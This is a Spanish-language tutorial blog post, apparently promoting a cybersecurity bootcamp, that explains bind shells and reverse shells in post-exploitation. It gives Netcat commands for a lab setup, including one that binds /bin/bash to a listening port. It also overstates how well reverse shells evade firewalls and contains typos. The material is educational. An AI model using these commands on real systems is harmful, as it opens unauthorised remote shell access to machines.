¿Sabes qué es una shell directa, en qué se diferencia de una inversa y para qué se utiliza en ciberseguridad?
En ciberseguridad, el hacking ético es una rama que se encarga de estudiar las técnicas utilizadas por atacantes para vulnerar los sistemas informáticos y las aplicaciones. Para ello, es necesario entender el proceso que siguen los hackers maliciosos a la hora de desplegar un ataque tecnológico.
El proceso de un ciberataque comienza por el reconocimiento pasivo y activo del sistema. Luego, se escanean sus vulnerabilidades, para después explotarlas por medio de frameworks como Metapsloit. Posteriormente, sigue la fase de la cual hablaremos en esta publicación, que es la postexplotación.
Postexplotación y su relación con una shell directa
La postexplotación es una fase del hacking que consiste en desplegar el código malicioso en el sistema afectado. En esta etapa dee escala de privilegios, se hacen movimientos laterales por la red y se despliegan todo tipo de programas y funciones maliciosas para perjudicar al sistema y a sus usuarios.
En la postexplotación, el payload es aquella carga de código que sirve para ejecutar tareas maliciosas en el sistema comprometido. Existen dos tipos muy populares de payload: shell directa y shell inversa. En este post, te explicaremos qué es una shell directa, en qué se diferencia de una inversa y cuál es preferible a la hora de hacer un pentest.
¿Qué es una shell directa?
Para entender qué es una shell directa, primero es necesario ver qué es una shell. Una shell es una terminal de comandos que se conecta a distancia con la de otro ordenador. De este modo, es posible inyectar código de manera remota en un sistema. Esto puede aprovecharse en un ciberataque. Principalmente, en la etapa de postexplotación.
🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴
Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada
👉 Prueba gratis el Bootcamp en Ciberseguridad por una semanaCómo lo decíamos en la introducción, existen dos tipos de shell: directa e inversa.
Una shell directa, también conocida en inglés como bind shell, es una en la cual el sentido de la conexión se da desde la máquina del atacante hacia la de la víctima. Es decir, el hacker se conecta al ordenador vulnerado y no al revés. En el caso de la shell inversa, es el ordenador de la víctima el que se conecta al del atacante.
Ahora bien, seguramente te preguntarás cuál de estas dos conexiones es mejor. Lo cierto es que la shell inversa es la más utilizada, ya que evade todo tipo de firewalls y medidas de seguridad. Por esa razón, las shells directas son raras, aunque posibles de ejecutar.
¿Cómo ejecutar una shell directa?
Ya hemos visto qué es una shell directa y en qué se diferencia de una inversa. Ahora, veremos cómo ejecutar una bind shell con el programa Netcat.
Para ello, crea o abre una máquina virtual con la última versión del sistema operativo Kali Linux. Allí, abre una terminal y escribe el siguiente comando para conectarte al ordenador de tu «víctima»:
nc 192.168.175.128 4444
Ese sería el código para ejecutar en la terminal del atacante. Supondremos que 192.168.175.128 es la dirección de la víctima, pero en realidad corresponde a la de la máquina virtual de Kali.
Ahora, desde otra terminal, ejecuta el siguiente comando, que servirá para crear la shell:
nc -lvp 4444 -e /bin/bash/
Ese sería el comando para ejecutar en el ordenador de la «víctima», para crear una shell directa o bind shell.
Ya hemos visto qué es una shell directa, cómo se ejecuta y en qué se diferencia de una inversa. Si quieres aprender más técnicas de pentesting, en KeepCoding tenemos la formación ideal para ti. Entra a nuestro Ciberseguridad Full Stack Bootcamp y conviértete en todo un especialista en tan solo 7 meses. ¡No sigas esperando para cambiar tu vida e inscríbete ahora!